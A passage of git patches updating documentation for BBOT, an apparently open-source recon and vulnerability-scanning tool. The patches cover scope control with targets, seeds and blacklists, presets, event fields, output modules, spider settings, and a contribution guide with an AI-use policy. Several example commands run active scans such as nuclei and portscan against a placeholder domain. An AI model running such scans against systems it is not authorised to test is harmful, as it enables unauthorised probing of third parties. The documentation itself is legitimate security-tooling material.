= "sha256:9086a53c810c58740a5129f14d126b39b7ef61af00d91580c2efb654e2f742ce"}, -] - -[metadata] -lock-version = "2.1" -python-versions = ">=3.10,<3.15" -content-hash = "d9f8e2a7fee2a88784b4cfdeb80fd1a2105a87439be4a9bc783faeb782845320" From 7b62d63f108774f0b011577aa18247f6af9c8540 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 13:11:29 -0400 Subject: [PATCH 850/912] Update scanning docs: consolidate targets/seeds/blacklists, add ASN + USERNAME types --- docs/scanning/index.md | 157 +++++++++++++++++++++-------------------- 1 file changed, 82 insertions(+), 75 deletions(-) diff --git a/docs/scanning/index.md b/docs/scanning/index.md index df69dcef90..ea11427bcd 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -13,9 +13,17 @@ bbot -t evilcorp.com -f subdomain-enum -m gowitness -n my_scan -o . If you reuse a scan name, BBOT will automatically append to your previous output files. -## Targets (`-t`) +## Targets (`-t`), Seeds (`-s`), and Blacklists (`-b`) -Targets declare what's in-scope, and seed a scan with initial data. BBOT accepts an unlimited number of targets. They can be any of the following: +BBOT uses three related concepts to control scope and drive a scan: + +- **Targets (`-t`)** define what is **in-scope**. Active modules (e.g. `nuclei`, `portscan`) will only touch targets and their children. +- **Seeds (`-s`)** are the starting data that gets fed into modules. If you don't specify `-s`, **your targets are automatically used as seeds**. +- **Blacklists (`-b`)** define what is **never touched**. Anything matching the blacklist is excluded, even if it would otherwise be in-scope. + +### Accepted Input Types + +Targets, seeds, and blacklists all accept the same input types: - `DNS_NAME` (`evilcorp.com`) - `IP_ADDRESS` (`1.2.3.4`) @@ -23,14 +31,17 @@ Targets declare what's in-scope, and seed a scan with initial data. BBOT accepts - `OPEN_TCP_PORT` (`192.168.0.1:80`) - `URL` (`https://www.evilcorp.com`) - `EMAIL_ADDRESS` (`bob@evilcorp.com`) +- `ASN` (`ASN:17178` or `AS17178`) +- `USERNAME` (`USER:bobsmith`) - `ORG_STUB` (`ORG:evilcorp`) -- `USER_STUB` (`USER:bobsmith`) - `FILESYSTEM` (`FILESYSTEM:/tmp/asdf`) - `MOBILE_APP` (`MOBILE_APP:https://play.google.com/store/apps/details?id=com.evilcorp.app`) +Blacklists additionally accept **regex patterns** prefixed with `RE:` (see [Blacklist by Regex](#blacklist-by-regex)). + Note that BBOT only discriminates down to the host level. This means, for example, if you specify a URL `https://www.evilcorp.com` as the target, the scan will be *seeded* with that URL, but the scope of the scan will be the entire host, `www.evilcorp.com`. Other ports/URLs on that same host may also be scanned. -You can specify targets directly on the command line, load them from files, or both! For example: +You can specify inputs directly on the command line, load them from files, or both: ```bash $ cat targets.txt @@ -45,7 +56,71 @@ https://www.evilcorp.co.uk $ bbot -t targets.txt fsociety.com 5.6.7.0/24 -m portscan ``` -On start, BBOT automatically converts Targets into [Events](events.md). +On start, BBOT automatically converts these inputs into [Events](events.md). + +### Why Separate Targets and Seeds? + +Separating targets from seeds lets you keep a tight scope while still allowing passive discovery outside of it. When BBOT discovers something out-of-scope via a seed, it will still report it, but active modules won't touch it. + +For example, say your target has subdomains that resolve both inside and outside an IP range that defines your scope. You can set the IP range as the **target** and the domain as a **seed**: + +```bash +bbot -t 192.168.1.0/24 -s evilcorp.com -f subdomain-enum -m nuclei +``` + +Any discovered `evilcorp.com` subdomains that resolve within `192.168.1.0/24` will be actively scanned by Nuclei. Others will be discovered and reported, but not touched by active modules. + +### Blacklists + +`-b` / `--blacklist` takes ultimate precedence. Anything in the blacklist is completely excluded from the scan, even if it would otherwise be in-scope based on your targets or seeds. + +```bash +# Scan evilcorp.com, but exclude internal.evilcorp.com and its children +bbot -t evilcorp.com -b internal.evilcorp.com -f subdomain-enum -m portscan nuclei +``` + +#### Blacklist by Regex + +Blacklists also accept regex patterns. These regexes are checked against the full URL, including the host and path. + +To specify a regex, prefix the pattern with `RE:`. For example, to exclude all events containing "signout": + +```bash +bbot -t evilcorp.com -b "RE:signout" +``` + +Note that this would blacklist both of the following events: + +- `[URL] http://evilcorp.com/signout.aspx` +- `[DNS_NAME] signout.evilcorp.com` + +If you only want to blacklist the URL, you could narrow the regex like so: + +```bash +bbot -t evilcorp.com -b 'RE:signout\.aspx$' +``` + +Similar to targets, blacklists can be specified in your preset. The `spider` preset makes use of this to prevent the spider from following logout links: + +```yaml title="spider.yml" +description: Recursive web spider + +modules: + - http + +blacklist: + # Prevent spider from invalidating sessions by logging out + - "RE:/.*(sign|log)[_-]?out" + +config: + web: + # how many links to follow in a row + spider_distance: 2 + # don't follow links whose directory depth is higher than 4 + spider_depth: 4 + # maximum number of links to follow per page + spider_links_per_page: 25 +``` ## Modules (`-m`) @@ -154,7 +229,7 @@ For details on how Ansible playbooks are attached to BBOT modules, see [How to W For pentesters and bug bounty hunters, staying in scope is extremely important. BBOT takes this seriously, meaning that active modules (e.g. `nuclei`) will only touch in-scope resources. -By default, scope is whatever you specify with `-t`. This includes child subdomains. For example, if you specify `-t evilcorp.com`, all its subdomains (`www.evilcorp.com`, `mail.evilcorp.com`, etc.) also become in-scope. +As described [above](#targets-t-seeds-s-and-blacklists-b), targets (`-t`) define what is in-scope and blacklists (`-b`) define what is excluded. Scope includes child subdomains by default -- for example, `-t evilcorp.com` puts `www.evilcorp.com`, `mail.evilcorp.com`, etc. in-scope automatically. ### Scope Distance @@ -179,74 +254,6 @@ If you want to scan **_only_** that specific target hostname and none of its chi Note that `--strict-scope` only applies to targets, but not blacklists. This means that if you put `internal.evilcorp.com` in your blacklist, you can be sure none of its subdomains will be scanned, even when using `--strict-scope`. -### Targets, Seeds, and Blacklists - -BBOT uses three related concepts to control scope and how a scan is driven: - -- **Targets (`-t` / `--targets`)**: Define what is in-scope. These also act as scan seeds if seeds aren't explicitly defined. -- **Seeds (`-s` / `--seeds`)**: Seeds define the starting point for the scan. They drive **passive** modules and can be outside of the explicit target list (out of scope) for those passive modules. If you don’t specify `--seeds`, BBOT will automatically use your targets as seeds. -- **Blacklists (`-b` / `--blacklist`)**: Define what is **never** touched. Anything matching the blacklist is excluded from the scan, even if it would otherwise be in-scope. - -This separation lets you, for example, keep a tight target list for what’s considered in-scope, while still allowing passive modules to discover new subdomains that may ultimately be in-scope. The blacklist helps to mask-off anything that you know should not be scanned. - -For example, lets say you have a target with subdomains that resolve both within, and outside of an IP range that defines your scope. You can set the IP range as the **target**, and then safely let BBOT explore the domain defined in **seeds**. Any discovered assets that are in your scope will automatically be assessed by active modules. - -```bash -bbot -t 192.168.1.0/24 -s evilcorp.com -f subdomain-enum -m nuclei -``` -In this example, any discovered `evilcorp.com` subdomains that resolve within `192.168.1.0/24` will be scanned by `Nuclei`. Any others will be discovered, but not touched by active modules. - -#### Blacklists - -`--blacklist` takes ultimate precedence. Anything in the blacklist is completely excluded from the scan, even if it would otherwise be in-scope based on your targets or seeds. - -```bash -# Scan evilcorp.com, but exclude internal.evilcorp.com and its children -bbot -t evilcorp.com --blacklist internal.evilcorp.com -f subdomain-enum -m portscan nuclei -``` - -#### Blacklist by Regex - -Blacklists also accept regex patterns. These regexes are are checked against the full URL, including the host and path. - -To specify a regex, prefix the pattern with `RE:`. For example, to exclude all events containing "signout", you could do: - -```bash -bbot -t evilcorp.com --blacklist "RE:signout" -``` - -Note that this would blacklist both of the following events: - -- `[URL] http://evilcorp.com/signout.aspx` -- `[DNS_NAME] signout.evilcorp.com` - -If you only want to blacklist the URL, you could narrow the regex like so: - -```bash -bbot -t evilcorp.com --blacklist 'RE:signout\.aspx$' -``` - -Similar to targets, blacklists can be specified in your preset. The `spider` preset makes use of this to prevent the spider from following logout links: - -```yaml title="spider.yml" -description: Recursive web spider - -modules: - - http - -blacklist: - # Prevent spider from invalidating sessions by logging out - - "RE:/.*(sign|log)[_-]?out" - -config: - web: - # how many links to follow in a row - spider_distance: 2 - # don't follow links whose directory depth is higher than 4 - spider_depth: 4 - # maximum number of links to follow per page - spider_links_per_page: 25 -``` ## DNS Wildcards @@ -281,4 +288,4 @@ dns: wildcard_tests: 20 ``` -If that doesn't work you can consider [blacklisting](#targets-seeds-and-blacklists) the offending domain. +If that doesn't work you can consider [blacklisting](#blacklists) the offending domain. From 0471e49e70b01cf8a5e572ade9a9721ae6b08b1e Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 15:23:05 -0400 Subject: [PATCH 851/912] Update scanning docs: presets, events, output, tips, config, navigation links --- docs/scanning/advanced.md | 2 ++ docs/scanning/configuration.md | 6 ++-- docs/scanning/events.md | 32 +++++++++++-------- docs/scanning/index.md | 2 ++ docs/scanning/output.md | 55 ++++++++++++++++++++++++++++++-- docs/scanning/presets.md | 50 ++++++++++++++++++++++++++--- docs/scanning/tips_and_tricks.md | 47 +++++++++++++-------------- 7 files changed, 145 insertions(+), 49 deletions(-) diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 9b40ce81cc..3aa08c9ad2 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -179,3 +179,5 @@ EXAMPLES ``` <!-- END BBOT HELP OUTPUT --> + +[Next Up: Configuration -->](./configuration.md){ .md-button .md-button--primary } diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 11d1232023..ef2f680956 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -2,7 +2,7 @@ Normally, [Presets](presets.md) are used to configure a scan. However, there may be cases where you want to change BBOT's global defaults so a certain option is always set, even if it's not specified in a preset. -BBOT has a YAML config at `~/.config/bbot.yml`. This is the first config that BBOT loads, so it's a good place to put default settings like `http_proxy`, `max_threads`, or `http_user_agent`. You can also put any module settings here, including **API keys**. +BBOT has a YAML config at `~/.config/bbot/bbot.yml`. This is the first config that BBOT loads, so it's a good place to put default settings like `http_proxy`, `max_threads`, or `http_user_agent`. You can also put any module settings here, including **API keys**. For a list of all possible config options, see: @@ -32,7 +32,7 @@ bbot -t evilcorp.com -c http_proxy=http://127.0.0.1:8080 Or, in `~/.config/bbot/bbot.yml`: -```yaml title="~/.bbot/config/bbot.yml" +```yaml title="~/.config/bbot/bbot.yml" http_proxy: http://127.0.0.1:8080 ``` @@ -41,7 +41,7 @@ These two are equivalent. Config options specified via the command-line take precedence over all others. You can give BBOT a custom config file with `-c myconf.yml`, or individual arguments like this: `-c modules.shodan_dns.api_key=deadbeef`. To display the full and current BBOT config, including any command-line arguments, use `bbot -c`. Note that placing the following in `bbot.yml`: -```yaml title="~/.bbot/config/bbot.yml" +```yaml title="~/.config/bbot/bbot.yml" modules: shodan_dns: api_key: deadbeef diff --git a/docs/scanning/events.md b/docs/scanning/events.md index 44c3aa1c9f..6f1687b382 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -8,6 +8,17 @@ An Event is a piece of data discovered by BBOT. Examples include `IP_ADDRESS`, ` event type event data source module tags ``` +## Findings + +All vulnerability discoveries, security-relevant observations, and other notable results in BBOT are emitted as **`FINDING`** events. + +Each finding has a **severity** and a **confidence**: + +* **Severity** indicates impact: `INFO`, `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL` +* **Confidence** indicates how certain the finding is: `CONFIRMED`, `HIGH`, `MEDIUM`, `LOW`, or `UNKNOWN` + +Together, these let you quickly prioritize results -- e.g. a `CRITICAL` severity with `CONFIRMED` confidence is immediately actionable, while a `MEDIUM` severity with `LOW` confidence may need manual verification. + ## Event Attributes Each BBOT event has the following attributes. Not all of these attributes are visible in the terminal output. However, they are always saved in `output.json` in the scan output folder. If you want to see them on the terminal, you can use `--json`. @@ -31,6 +42,7 @@ Each BBOT event has the following attributes. Not all of these attributes are vi - `.tags`: a list of tags describing the event (e.g. `mx-record`, `http-title`, etc.) - `.module`: the module that discovered the event - `.module_sequence`: the recent sequence of modules that were executed to discover the event (including omitted events) +- `.host_metadata`: cloud provider, ASN, and other metadata about the host (when available) - `.discovery_context`: a description of the context in which the event was discovered - `.discovery_path`: a list of every discovery context leading to this event - `.parent_chain`: a list of every event UUID leading to the discovery of this event (corresponds exactly to `.discovery_path`) @@ -43,6 +55,7 @@ These attributes allow us to construct a visual graph of events (e.g. in [Neo4j] "id": "DNS_NAME:33bc005c2bdfea4d73e07db733bd11861cf6520e", "uuid": "DNS_NAME:6c96d512-090a-47f0-82e4-6860e46aac13", "scope_description": "in-scope", + "netloc": "link.evilcorp.com", "data": "link.evilcorp.com", "host": "link.evilcorp.com", "resolved_hosts": [ @@ -66,16 +79,16 @@ These attributes allow us to construct a visual graph of events (e.g. in [Neo4j] "web_spider_distance": 0, "scope_distance": 0, "scan": "SCAN:b6ef48bc036bc8d001595ae5061846a7e6beadb6", - "timestamp": "2024-10-18T15:40:13.716880+00:00", + "timestamp": 1729266013.71688, "parent": "DNS_NAME:94c92b7eaed431b37ae2a757fec4e678cc3bd213", "parent_uuid": "DNS_NAME:c737dffa-d4f0-4b6e-a72d-cc8c05bd892e", "tags": [ - "subdomain", "a-record", + "aaaa-record", "cdn-akamai", - "in-scope", "cname-record", - "aaaa-record" + "in-scope", + "subdomain" ], "module": "speculate", "module_sequence": "speculate->speculate", @@ -140,13 +153,4 @@ Below is a full list of event types along with which modules produce/consume the | WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | <!-- END BBOT EVENTS --> -## Findings - -All vulnerability discoveries, security-relevant observations, and other notable results in BBOT are emitted as **`FINDING`** events. - -Each finding has a **severity** and a **confidence**: - -* **Severity** indicates impact: `INFO`, `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL` -* **Confidence** indicates how certain the finding is: `CONFIRMED`, `HIGH`, `MEDIUM`, `LOW`, or `UNKNOWN` - -Together, these let you quickly prioritize results -- e.g. a `CRITICAL` severity with `CONFIRMED` confidence is immediately actionable, while a `MEDIUM` severity with `LOW` confidence may need manual verification. +[Next Up: Output -->](./output.md){ .md-button .md-button--primary } diff --git a/docs/scanning/index.md b/docs/scanning/index.md index ea11427bcd..f9c735b5bb 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -289,3 +289,5 @@ dns: ``` If that doesn't work you can consider [blacklisting](#blacklists) the offending domain. + +[Next Up: Presets -->](./presets.md){ .md-button .md-button--primary } diff --git a/docs/scanning/output.md b/docs/scanning/output.md index 463e19e45b..fed9c8c0b2 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -298,7 +298,7 @@ mail.evilcorp.com portal.evilcorp.com ``` -## Neo4j +### Neo4j Neo4j is the funnest (and prettiest) way to view and interact with BBOT data. @@ -371,6 +371,55 @@ This is not an exhaustive list of clauses, filters, or other means to use cypher Additional note: these sample queries are dependent on the existence of the data in the target neo4j database. +### Emails + +The `emails` output module writes any email addresses found belonging to the target domain to a file (`emails.txt` by default). + +### Web Report + +The `web_report` output module generates a markdown report of web assets, including URLs, technologies, and findings. + +### Nmap XML + +The `nmap_xml` output module exports open ports, DNS names, IP addresses, and protocols in Nmap XML format for compatibility with tools that consume Nmap output. + +### Message Queues + +BBOT supports streaming events as JSON to several message queue systems: + +| Module | Description | Key Config | +|--------|-------------|------------| +| `kafka` | Publish to a Kafka topic | `bootstrap_servers`, `topic` | +| `rabbitmq` | Publish to a RabbitMQ queue | `url`, `queue` | +| `nats` | Publish to a NATS subject | `servers`, `subject` | +| `zeromq` | Publish to a ZeroMQ PUB socket | `zmq_address` | +| `websocket` | Stream to a WebSocket endpoint | `url`, `token` | + +These can be enabled like any other output module: + +```bash +bbot -t evilcorp.com -om kafka -c modules.kafka.bootstrap_servers=localhost:9092 modules.kafka.topic=bbot_events +``` + +### MongoDB + +The `mongo` output module sends events to a MongoDB database. + +```yaml title="mongo_preset.yml" +output_modules: + - mongo + +config: + modules: + mongo: + uri: mongodb://localhost:27017 + database: bbot +``` + +### Python API + +The `python` output module is used when running BBOT via the Python API. It enables programmatic access to events as they are produced. See the [Developer Documentation](../dev/index.md) for details. + ### Web_parameters The `web_parameters` output module will utilize BBOT web parameter extraction capabilities, and output the resulting parameters to a file (web_parameters.txt, by default). Web parameter extraction is disabled by default, but will automatically be enabled when a module is included that consumes WEB_PARAMETER events (including the `web_parameters` output module itself). @@ -379,4 +428,6 @@ This can be useful for those who want to discover new common web parameters or t ```bash bbot -t evilcorp.com -m paramminer_getparams -c modules.paramminer_getparams.wordlist=/path/to/your/new/wordlist.txt -``` \ No newline at end of file +``` + +[Next Up: Tips and Tricks -->](./tips_and_tricks.md){ .md-button .md-button--primary } \ No newline at end of file diff --git a/docs/scanning/presets.md b/docs/scanning/presets.md index 76e0514d68..87068f4a7e 100644 --- a/docs/scanning/presets.md +++ b/docs/scanning/presets.md @@ -25,7 +25,7 @@ output_modules: ## How to use Presets (`-p`) -BBOT has a ready-made collection of presets for common tasks like subdomain enumeration and web spidering. They live in `~/.bbot/presets`. +BBOT ships with a collection of presets for common tasks like subdomain enumeration and web spidering. The defaults live in `bbot/presets` inside the installed package. You can also place custom presets anywhere and reference them by path. To list them, you can do: @@ -111,15 +111,53 @@ bbot -t evilcorp.com -p ./my_spider.yml spider bbot -t evilcorp.com -p spider ./my_spider.yml ``` -## Validating Presets +## Preset Validation -To make sure BBOT is configured the way you expect, you can always check the `--current-preset` to show the final version of the config that will be used when BBOT executes: +BBOT automatically validates presets when they load. If your preset has a typo in a top-level key, an unknown module name, or an invalid config option, BBOT will catch it and suggest the closest match: + +```text +$ bbot -p ./mypreset.yml +ERROR [preset:modlues] Could not find preset option "modlues". Did you mean "modules"? +``` + +This also applies to module config and flags -- for example, misspelling a module name under `config.modules` or using a flag that doesn't exist will produce a helpful error. + +To inspect the final merged preset that BBOT will use (after all includes and overrides are applied), use `--current-preset`: ```bash -# verify the preset is what you want +# show the final resolved preset bbot -p ./mypreset.yml --current-preset + +# show the full config including defaults +bbot -p ./mypreset.yml --current-preset-full ``` +## Preset YAML Reference + +Here is the full list of supported top-level keys in a preset YAML file: + +| Key | Type | Description | +|-----|------|-------------| +| `target` (or `targets`) | list | In-scope targets (see [Accepted Input Types](index.md#accepted-input-types)) | +| `seeds` | list | Seed events to feed into modules. If omitted, targets are used as seeds | +| `blacklist` | list | Excluded targets. Takes ultimate precedence | +| `modules` | list | Scan modules to enable | +| `output_modules` | list | Output modules (default: `csv`, `human`, `json`) | +| `exclude_modules` | list | Modules to exclude | +| `flags` | list | Enable all modules with these flags | +| `require_flags` | list | Only enable modules that have these flags | +| `exclude_flags` | list | Exclude modules that have any of these flags | +| `config` | dict | Config overrides (global and per-module) | +| `include` (or `presets`) | list | Other presets to include | +| `module_dirs` | list | Additional directories to load modules from | +| `conditions` | list | Jinja2 conditions evaluated before scan start | +| `scan_name` | string | Custom scan name (default: random, e.g. `demonic_jimmy`) | +| `output_dir` | string | Custom output directory (default: `~/.bbot`) | +| `description` | string | Human-readable description of the preset | +| `verbose` | bool | Enable verbose logging | +| `debug` | bool | Enable debug logging | +| `silent` | bool | Silence all stderr output | + ## Advanced Usage BBOT Presets support advanced features like file-based targets, custom modules, and custom conditions. @@ -149,7 +187,7 @@ You can mix file paths and literal targets in the same list. If an entry doesn't If you want to use a custom BBOT `.py` module, you can either move it into `bbot/modules` where BBOT is installed, or add its parent folder to `module_dirs` like so: ```yaml title="custom_modules.yml" -# load extra BBOT modules from this locaation +# load extra BBOT modules from this location module_dirs: - /home/user/custom_modules ``` @@ -193,3 +231,5 @@ Conditions use [Jinja](https://palletsprojects.com/p/jinja/), which means they c - `abort(message)` - abort the scan with an optional message If you aren't able to accomplish what you want with conditions, or if you need access to a new variable/function, please let us know on [Github](https://github.com/blacklanternsecurity/bbot/issues/new/choose). + +[Next Up: Events -->](./events.md){ .md-button .md-button--primary } diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index bf920911fc..f64c0972a7 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -62,48 +62,45 @@ Copy this to `/etc/resolv.conf` (or append the `nameserver` lines to your existi ### Web Spider -The web spider is great for finding juicy data like subdomains, email addresses, and javascript secrets buried in webpages. However since it can lengthen the duration of a scan, it's disabled by default. To enable the web spider, you must increase the value of `web.spider_distance`. +The web spider is great for finding juicy data like subdomains, email addresses, and javascript secrets buried in webpages. However since it can lengthen the duration of a scan, it's disabled by default. To enable it, use one of the built-in spider presets: -The web spider is controlled with three config values: +- **`spider`** -- follows links up to distance 2, depth 4, 25 links per page. Includes a blacklist to avoid following logout links. +- **`spider-heavy`** -- more aggressive: distance 4, depth 6, 50 links per page. -- `web.spider_depth` (default: `1`: the maximum directory depth allowed. This is to prevent the spider from delving too deep into a website. -- `web.spider_distance` (`0` == all spidering disabled, default: `0`): the maximum number of links that can be followed in a row. This is designed to limit the spider in cases where `web.spider_depth` fails (e.g. for an ecommerce website with thousands of base-level URLs). -- `web.spider_links_per_page` (default: `25`): the maximum number of links per page that can be followed. This is designed to save you in cases where a single page has hundreds or thousands of links. +```bash +# spider www.evilcorp.com +bbot -t www.evilcorp.com -p spider -Here is a typical example: +# pair with subdomain enumeration +bbot -t evilcorp.com -p subdomain-enum spider -```yaml title="spider.yml" -config: - web: - spider_depth: 2 - spider_distance: 2 - spider_links_per_page: 25 +# use the heavier spider +bbot -t evilcorp.com -p subdomain-enum spider-heavy ``` -```bash -# run the web spider against www.evilcorp.com -bbot -t www.evilcorp.com -m http -c spider.yml -``` +If you need custom settings, the spider is controlled with three config values: -You can also pair the web spider with subdomain enumeration: +- `web.spider_distance` (`0` == disabled, default: `0`): the maximum number of links that can be followed in a row. +- `web.spider_depth` (default: `1`): the maximum directory depth allowed. +- `web.spider_links_per_page` (default: `25`): the maximum number of links per page that can be followed. ```bash -# spider every subdomain of evilcorp.com -bbot -t evilcorp.com -f subdomain-enum -c spider.yml +# custom spider settings on the command line +bbot -t www.evilcorp.com -m http -c web.spider_distance=3 web.spider_depth=5 ``` ### Exclude CDNs from Port Scan -Use `--exclude-cdns` to filter out unwanted open ports from CDNs and WAFs, e.g. Cloudflare. You can also customize the criteria by setting `modules.portfilter.cdn_tags`. By default, only open ports with `cdn-*` tags are filtered, but you can include all cloud providers by setting `cdn_tags` to `cdn,cloud`: +Use `--exclude-cdn` to filter out unwanted open ports from CDNs and WAFs, e.g. Cloudflare. You can also customize the criteria by setting `modules.portfilter.cdn_tags`. By default, only open ports with `cdn-*` tags are filtered, but you can include all cloud providers by setting `cdn_tags` to `cdn,cloud`: ```bash -bbot -t evilcorp.com --exclude-cdns -c modules.portfilter.cdn_tags=cdn,cloud +bbot -t evilcorp.com --exclude-cdn -c modules.portfilter.cdn_tags=cdn,cloud ``` Additionally, you can customize the allowed ports by setting `modules.portscan.allowed_cdn_ports`. ```bash -bbot -t evilcorp.com --exclude-cdns -c modules.portfilter.allowed_cdn_ports=80,443,8443 +bbot -t evilcorp.com --exclude-cdn -c modules.portfilter.allowed_cdn_ports=80,443,8443 ``` Example preset: @@ -157,9 +154,7 @@ If you have a ready list of hosts/urls and just want to scan them as fast as pos --8<-- "bbot/presets/fast.yml" ``` -If you already have a list of discovered targets (e.g. URLs), you can speed up the scan by skipping BBOT's DNS resolution. You can do this by setting `dns.disable` to `true`: - -If you don't care about DNS-based scope checks, you can go even further by completely disabling DNS resolution: +If you already have a list of discovered targets (e.g. URLs) and don't need DNS-based scope checks, you can go further by completely disabling DNS resolution: ~~~bash # completely disable DNS resolution @@ -197,3 +192,5 @@ bbot -t evilcorp.com -m sslcert -c modules.sslcert.module_threads=50 ``` `module_threads` is one of several [universal module options](./configuration.md) that can be applied to any module. + +[Next Up: Advanced Usage -->](./advanced.md){ .md-button .md-button--primary } From 9bbe8bfa112e3eb1f01405cea53816f1fe338149 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 16:12:58 -0400 Subject: [PATCH 852/912] Rewrite contribution guide, add CONTRIBUTIONS.md repo pointer --- CONTRIBUTIONS.md | 5 +++++ docs/contribution.md | 53 +++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 55 insertions(+), 3 deletions(-) create mode 100644 CONTRIBUTIONS.md diff --git a/CONTRIBUTIONS.md b/CONTRIBUTIONS.md new file mode 100644 index 0000000000..59d24e3985 --- /dev/null +++ b/CONTRIBUTIONS.md @@ -0,0 +1,5 @@ +# Contributing to BBOT + +See our full contribution guide at: + +**https://www.blacklanternsecurity.com/bbot/Dev/contribution/** diff --git a/docs/contribution.md b/docs/contribution.md index b291cea68a..f1d2e3bc9f 100644 --- a/docs/contribution.md +++ b/docs/contribution.md @@ -1,8 +1,55 @@ -# Contribution +# Contributing to BBOT -We welcome contributions! If you have an idea for a new module, or are a Python developer who wants to get involved, please fork us or come talk to us on [Discord](https://discord.com/invite/PZqkgxu5SA). +We welcome contributions! There are a number of ways to contribute to BBOT. -To get started devving, see the following links: +If you want to chat about BBOT or get help with a contribution, come find us on [Discord](https://discord.com/invite/PZqkgxu5SA). + +## Open an Issue + +Opening an issue is the simplest way to contribute. If you spot a bug or see a way to improve something, open an issue and we'll do our best to address it promptly. + +## Open a Discussion + +If you have an idea for a new module or feature, or just have questions about existing modules, discussions are the correct place for it. Issues opened for these items will most likely be moved here anyway. + +## Pull Requests + +We love pull requests. Before you submit them though, there are a few things to discuss. + +### Should It Be an Issue Instead? + +As AI-assisted contributions have become more common, we've seen an increase in large PRs trying to change things that touch complex core internals. Much of the core BBOT code is extremely complicated and load-bearing. If your AI doesn't grasp the full context, untangling your PR is going to take us longer than if we made the changes ourselves. + +Basically, don't feel pressured to submit a fix just because you found a bug. If the fix isn't straightforward, an issue that shows clearly how to reproduce the problem is often more helpful than a sprawling PR. + +### AI Policy + +Modern AI is an incredibly valuable tool for development. We definitely use it. However, it is still just a tool, and it REALLY matters how you use it. + +- **Blind trust is not good.** Even the most advanced models make horrific mistakes, just as they have moments of brilliance. +- **Human accountability.** If your name is on the code, it's up to you to understand it. A simple rule: don't submit anything you don't understand. +- **No low quality submissions.** If you just submitted the same slop PR to 20 other repos, we are going to close it. If it ignores all the normal patterns in use in BBOT and does its own thing, we are going to close it. If you make a good-faith attempt at doing it right, we're more than happy to help you along. + +We provide an [AGENTS.md](https://github.com/blacklanternsecurity/bbot/blob/dev/AGENTS.md) file in the repo root. Feed this to your LLM before working on BBOT -- it describes our conventions and should help steer AI-assisted contributions in the right direction. + +### Other Advice + +- The pull requests we are most likely to approve are ones that address a very specific thing in a focused way. Don't let that stop you from writing a whole new, even complicated module. However, expect some critical feedback and some rounds of revisions. +- Be mindful of security. We have had multiple CVEs, including critical CVEs. If your module is doing potentially dangerous things -- running commands, reading and writing files, etc. -- expect a lot of extra scrutiny. + +### Tests + +We believe tests are the backbone of any large scale project. Think of them like a save-point for a capability. Without them, regressions constantly creep in and accumulate. + +Every module MUST have module tests. There are tons of examples to draw from with existing modules. We can also help you write the tests. They shouldn't be there just to be there -- they should really exercise as much of the code in your module as possible. For more details, see [Unit Tests](./dev/tests.md). + +## Contributor License Agreement + +Like many open-source projects, we ask that you sign our [Contributor License Agreement](https://github.com/blacklanternsecurity/CLA/blob/main/ICLA.md) before we can accept your contribution. + +## Development + +To get started developing, see the following links: - [Setting up a Dev Environment](./dev/dev_environment.md) - [How to Write a BBOT Module](./dev/module_howto.md) From 5539196fe890dd500b4952996980eb6fded311a2 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 16:30:01 -0400 Subject: [PATCH 853/912] Add dev branch guidance, fix typo in contribution guide --- AGENTS.md | 4 ++-- docs/contribution.md | 16 ++++++++++++---- 2 files changed, 14 insertions(+), 6 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index 055fbcca78..6c34ed62d7 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -76,8 +76,8 @@ ruff format --check # verify formatting without changes ### Git Workflow - `stable` - production releases -- `dev` - active development, PR target -- Feature branches are created from `dev` +- `dev` - active development, **almost all PRs should target this branch** +- Feature branches should be created from `dev` --- diff --git a/docs/contribution.md b/docs/contribution.md index f1d2e3bc9f..5d4015a3f8 100644 --- a/docs/contribution.md +++ b/docs/contribution.md @@ -29,19 +29,27 @@ Modern AI is an incredibly valuable tool for development. We definitely use it. - **Blind trust is not good.** Even the most advanced models make horrific mistakes, just as they have moments of brilliance. - **Human accountability.** If your name is on the code, it's up to you to understand it. A simple rule: don't submit anything you don't understand. - **No low quality submissions.** If you just submitted the same slop PR to 20 other repos, we are going to close it. If it ignores all the normal patterns in use in BBOT and does its own thing, we are going to close it. If you make a good-faith attempt at doing it right, we're more than happy to help you along. +- **Don't let the AI edit tests.** Of course, there will be some times where a test edit is legitimately needed, but this is a common antipattern for AI agents. -We provide an [AGENTS.md](https://github.com/blacklanternsecurity/bbot/blob/dev/AGENTS.md) file in the repo root. Feed this to your LLM before working on BBOT -- it describes our conventions and should help steer AI-assisted contributions in the right direction. +We don't require AI disclosure, but it's not discouraged either (usually we can tell though). + +We provide an [AGENTS.md](https://github.com/blacklanternsecurity/bbot/blob/dev/AGENTS.md) file in the repo root. Feed this to your LLM before working on BBOT. It describes our conventions and should help steer AI-assisted contributions in the right direction. ### Other Advice +- **Work off the `dev` branch.** Almost all PRs should target `dev`, not `stable`. Create your feature branch from `dev` and open your PR against it. - The pull requests we are most likely to approve are ones that address a very specific thing in a focused way. Don't let that stop you from writing a whole new, even complicated module. However, expect some critical feedback and some rounds of revisions. -- Be mindful of security. We have had multiple CVEs, including critical CVEs. If your module is doing potentially dangerous things -- running commands, reading and writing files, etc. -- expect a lot of extra scrutiny. +- Be mindful of security. We have had multiple CVEs, including 